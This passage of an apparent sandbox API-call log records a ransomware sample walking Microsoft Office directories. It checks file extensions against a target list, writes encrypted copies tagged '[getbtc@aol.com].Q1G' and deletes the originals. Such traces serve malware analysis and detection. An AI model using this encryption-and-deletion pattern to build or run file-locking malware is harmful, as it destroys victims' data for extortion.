Office\\Office14\\1033\\VALVE.VRD") returned 57 [0254.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VALVE.VRD") returned 57 [0254.563] lstrlenW (lpString=".doc") returned 4 [0254.563] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1 [0254.563] lstrlenW (lpString=".docx") returned 5 [0254.563] lstrcmpiW (lpString1=".docx", lpString2="E.VRD") returned -1 [0254.563] lstrlenW (lpString=".pdf") returned 4 [0254.563] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1 [0254.563] lstrlenW (lpString=".xls") returned 4 [0254.563] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1 [0254.563] lstrlenW (lpString=".xlsx") returned 5 [0254.564] lstrcmpiW (lpString1=".xlsx", lpString2="E.VRD") returned -1 [0254.564] lstrlenW (lpString=".ppt") returned 4 [0254.564] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1 [0254.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VALVE.VRD") returned 57 [0254.564] lstrlenW (lpString=".zip") returned 4 [0254.564] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1 [0254.564] lstrlenW (lpString=".rar") returned 4 [0254.564] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1 [0254.564] lstrlenW (lpString=".bz2") returned 4 [0254.564] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1 [0254.564] lstrlenW (lpString=".7z") returned 3 [0254.564] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1 [0254.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VALVE.VRD") returned 57 [0254.564] lstrlenW (lpString=".dbf") returned 4 [0254.564] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1 [0254.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VALVE.VRD") returned 57 [0254.564] lstrlenW (lpString=".1cd") returned 4 [0254.564] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1 [0254.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VALVE.VRD") returned 57 [0254.564] lstrlenW (lpString=".jpg") returned 4 [0254.564] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1 [0254.564] lstrcmpiW (lpString1=".HXS", lpString2=".Q1G") returned -1 [0254.564] lstrlenW (lpString="VISIO.DEV.HXS") returned 13 [0254.564] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.dev.hxs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0254.565] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x355ff1c | out: lpFileSize=0x355ff1c*=5802528) returned 1 [0254.565] CloseHandle (hObject=0x324) returned 1 [0254.565] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.dev.hxs")) returned 0x20 [0254.565] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV.HXS.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.dev.hxs.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0254.565] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.dev.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV.HXS.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.dev.hxs.id-9c354b42.[getbtc@aol.com].q1g")) returned 0 [0254.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV.HXS") returned 61 [0254.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV.HXS") returned 61 [0254.565] lstrlenW (lpString=".doc") returned 4 [0254.565] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0254.565] lstrlenW (lpString=".docx") returned 5 [0254.565] lstrcmpiW (lpString1=".docx", lpString2="V.HXS") returned -1 [0254.565] lstrlenW (lpString=".pdf") returned 4 [0254.565] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0254.565] lstrlenW (lpString=".xls") returned 4 [0254.565] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0254.565] lstrlenW (lpString=".xlsx") returned 5 [0254.565] lstrcmpiW (lpString1=".xlsx", lpString2="V.HXS") returned -1 [0254.565] lstrlenW (lpString=".ppt") returned 4 [0254.565] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0254.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV.HXS") returned 61 [0254.566] lstrlenW (lpString=".zip") returned 4 [0254.566] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0254.566] lstrlenW (lpString=".rar") returned 4 [0254.566] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0254.566] lstrlenW (lpString=".bz2") returned 4 [0254.566] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0254.566] lstrlenW (lpString=".7z") returned 3 [0254.566] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0254.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV.HXS") returned 61 [0254.566] lstrlenW (lpString=".dbf") returned 4 [0254.566] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0254.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV.HXS") returned 61 [0254.566] lstrlenW (lpString=".1cd") returned 4 [0254.566] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0254.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV.HXS") returned 61 [0254.566] lstrlenW (lpString=".jpg") returned 4 [0254.566] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0254.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV.HXS") returned 61 [0254.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV.HXS") returned 61 [0254.566] lstrlenW (lpString=".doc") returned 4 [0254.566] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0254.566] lstrlenW (lpString=".docx") returned 5 [0254.566] lstrcmpiW (lpString1=".docx", lpString2="V.HXS") returned -1 [0254.566] lstrlenW (lpString=".pdf") returned 4 [0254.566] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0254.566] lstrlenW (lpString=".xls") returned 4 [0254.566] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0254.566] lstrlenW (lpString=".xlsx") returned 5 [0254.566] lstrcmpiW (lpString1=".xlsx", lpString2="V.HXS") returned -1 [0254.566] lstrlenW (lpString=".ppt") returned 4 [0254.567] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0254.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV.HXS") returned 61 [0254.567] lstrlenW (lpString=".zip") returned 4 [0254.567] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0254.567] lstrlenW (lpString=".rar") returned 4 [0254.567] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0254.567] lstrlenW (lpString=".bz2") returned 4 [0254.567] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0254.567] lstrlenW (lpString=".7z") returned 3 [0254.567] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0254.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV.HXS") returned 61 [0254.567] lstrlenW (lpString=".dbf") returned 4 [0254.567] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0254.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV.HXS") returned 61 [0254.567] lstrlenW (lpString=".1cd") returned 4 [0254.567] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0254.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV.HXS") returned 61 [0254.567] lstrlenW (lpString=".jpg") returned 4 [0254.567] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0254.567] lstrcmpiW (lpString1=".HXC", lpString2=".Q1G") returned -1 [0254.567] lstrlenW (lpString="VISIO.DEV_COL.HXC") returned 17 [0254.567] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.dev_col.hxc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0254.568] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x355ff1c | out: lpFileSize=0x355ff1c*=641) returned 1 [0254.568] CloseHandle (hObject=0x324) returned 1 [0254.568] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.dev_col.hxc")) returned 0x20 [0254.568] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXC.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.dev_col.hxc.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0254.568] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.dev_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0254.568] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0254.568] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0254.568] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXC.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.dev_col.hxc.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0254.569] GetLastError () returned 0x0 [0254.569] ReadFile (in: hFile=0x324, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0x281, lpOverlapped=0x0) returned 1 [0254.594] WriteFile (in: hFile=0x3dc, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0x290, lpOverlapped=0x0) returned 1 [0254.594] ReadFile (in: hFile=0x324, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0x0, lpOverlapped=0x0) returned 1 [0254.594] WriteFile (in: hFile=0x3dc, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0xf6, lpOverlapped=0x0) returned 1 [0254.595] SetEndOfFile (hFile=0x3dc) returned 1 [0254.595] CloseHandle (hObject=0x3dc) returned 1 [0254.595] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0254.595] SetEndOfFile (hFile=0x324) returned 1 [0254.597] CloseHandle (hObject=0x324) returned 1 [0254.597] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXC.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0254.597] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.dev_col.hxc")) returned 1 [0254.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXC") returned 65 [0254.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXC") returned 65 [0254.598] lstrlenW (lpString=".doc") returned 4 [0254.598] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0254.598] lstrlenW (lpString=".docx") returned 5 [0254.598] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0254.598] lstrlenW (lpString=".pdf") returned 4 [0254.598] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0254.598] lstrlenW (lpString=".xls") returned 4 [0254.598] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0254.598] lstrlenW (lpString=".xlsx") returned 5 [0254.598] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0254.598] lstrlenW (lpString=".ppt") returned 4 [0254.598] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0254.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXC") returned 65 [0254.598] lstrlenW (lpString=".zip") returned 4 [0254.598] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0254.598] lstrlenW (lpString=".rar") returned 4 [0254.598] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0254.598] lstrlenW (lpString=".bz2") returned 4 [0254.598] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0254.598] lstrlenW (lpString=".7z") returned 3 [0254.598] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0254.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXC") returned 65 [0254.598] lstrlenW (lpString=".dbf") returned 4 [0254.598] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0254.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXC") returned 65 [0254.598] lstrlenW (lpString=".1cd") returned 4 [0254.598] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0254.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXC") returned 65 [0254.598] lstrlenW (lpString=".jpg") returned 4 [0254.598] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0254.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXC") returned 65 [0254.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXC") returned 65 [0254.599] lstrlenW (lpString=".doc") returned 4 [0254.599] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0254.599] lstrlenW (lpString=".docx") returned 5 [0254.599] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0254.599] lstrlenW (lpString=".pdf") returned 4 [0254.599] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0254.599] lstrlenW (lpString=".xls") returned 4 [0254.599] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0254.599] lstrlenW (lpString=".xlsx") returned 5 [0254.599] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0254.599] lstrlenW (lpString=".ppt") returned 4 [0254.599] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0254.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXC") returned 65 [0254.599] lstrlenW (lpString=".zip") returned 4 [0254.599] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0254.599] lstrlenW (lpString=".rar") returned 4 [0254.599] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0254.599] lstrlenW (lpString=".bz2") returned 4 [0254.599] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0254.599] lstrlenW (lpString=".7z") returned 3 [0254.599] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0254.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXC") returned 65 [0254.599] lstrlenW (lpString=".dbf") returned 4 [0254.599] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0254.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXC") returned 65 [0254.599] lstrlenW (lpString=".1cd") returned 4 [0254.599] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0254.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXC") returned 65 [0254.599] lstrlenW (lpString=".jpg") returned 4 [0254.599] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0254.599] lstrcmpiW (lpString1=".HXT", lpString2=".Q1G") returned -1 [0254.600] lstrlenW (lpString="VISIO.DEV_COL.HXT") returned 17 [0254.600] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.dev_col.hxt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0254.600] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x355ff1c | out: lpFileSize=0x355ff1c*=209) returned 1 [0254.600] CloseHandle (hObject=0x324) returned 1 [0254.600] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.dev_col.hxt")) returned 0x20 [0254.600] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXT.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.dev_col.hxt.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0254.600] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.dev_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0254.600] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0254.601] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0254.601] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXT.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.dev_col.hxt.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0254.601] GetLastError () returned 0x0 [0254.601] ReadFile (in: hFile=0x324, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0xd1, lpOverlapped=0x0) returned 1 [0254.602] WriteFile (in: hFile=0x3dc, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0xe0, lpOverlapped=0x0) returned 1 [0254.603] ReadFile (in: hFile=0x324, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0x0, lpOverlapped=0x0) returned 1 [0254.603] WriteFile (in: hFile=0x3dc, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0xf6, lpOverlapped=0x0) returned 1 [0254.603] SetEndOfFile (hFile=0x3dc) returned 1 [0254.603] CloseHandle (hObject=0x3dc) returned 1 [0254.603] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0254.603] SetEndOfFile (hFile=0x324) returned 1 [0254.605] CloseHandle (hObject=0x324) returned 1 [0254.605] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXT.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0254.606] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.dev_col.hxt")) returned 1 [0254.606] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXT") returned 65 [0254.606] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXT") returned 65 [0254.606] lstrlenW (lpString=".doc") returned 4 [0254.606] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0254.606] lstrlenW (lpString=".docx") returned 5 [0254.606] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0254.606] lstrlenW (lpString=".pdf") returned 4 [0254.606] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0254.606] lstrlenW (lpString=".xls") returned 4 [0254.606] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0254.606] lstrlenW (lpString=".xlsx") returned 5 [0254.606] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0254.606] lstrlenW (lpString=".ppt") returned 4 [0254.606] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0254.606] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXT") returned 65 [0254.607] lstrlenW (lpString=".zip") returned 4 [0254.607] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0254.607] lstrlenW (lpString=".rar") returned 4 [0254.607] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0254.607] lstrlenW (lpString=".bz2") returned 4 [0254.607] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0254.607] lstrlenW (lpString=".7z") returned 3 [0254.607] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0254.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXT") returned 65 [0254.607] lstrlenW (lpString=".dbf") returned 4 [0254.607] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0254.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXT") returned 65 [0254.607] lstrlenW (lpString=".1cd") returned 4 [0254.607] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0254.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXT") returned 65 [0254.607] lstrlenW (lpString=".jpg") returned 4 [0254.607] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0254.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXT") returned 65 [0254.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXT") returned 65 [0254.607] lstrlenW (lpString=".doc") returned 4 [0254.607] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0254.607] lstrlenW (lpString=".docx") returned 5 [0254.607] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0254.607] lstrlenW (lpString=".pdf") returned 4 [0254.607] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0254.607] lstrlenW (lpString=".xls") returned 4 [0254.607] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0254.607] lstrlenW (lpString=".xlsx") returned 5 [0254.607] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0254.607] lstrlenW (lpString=".ppt") returned 4 [0254.607] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0254.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXT") returned 65 [0254.607] lstrlenW (lpString=".zip") returned 4 [0254.607] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0254.607] lstrlenW (lpString=".rar") returned 4 [0254.608] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0254.608] lstrlenW (lpString=".bz2") returned 4 [0254.608] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0254.608] lstrlenW (lpString=".7z") returned 3 [0254.608] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0254.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXT") returned 65 [0254.608] lstrlenW (lpString=".dbf") returned 4 [0254.608] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0254.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXT") returned 65 [0254.608] lstrlenW (lpString=".1cd") returned 4 [0254.608] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0254.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_COL.HXT") returned 65 [0254.608] lstrlenW (lpString=".jpg") returned 4 [0254.608] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0254.608] lstrcmpiW (lpString1=".HXK", lpString2=".Q1G") returned -1 [0254.608] lstrlenW (lpString="VISIO.DEV_F_COL.HXK") returned 19 [0254.608] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.dev_f_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0254.608] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x355ff1c | out: lpFileSize=0x355ff1c*=114) returned 1 [0254.609] CloseHandle (hObject=0x324) returned 1 [0254.609] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.dev_f_col.hxk")) returned 0x20 [0254.609] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_F_COL.HXK.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.dev_f_col.hxk.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0254.609] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.dev_f_col.hxk"), dwDesiredAccess=0xc0000000, 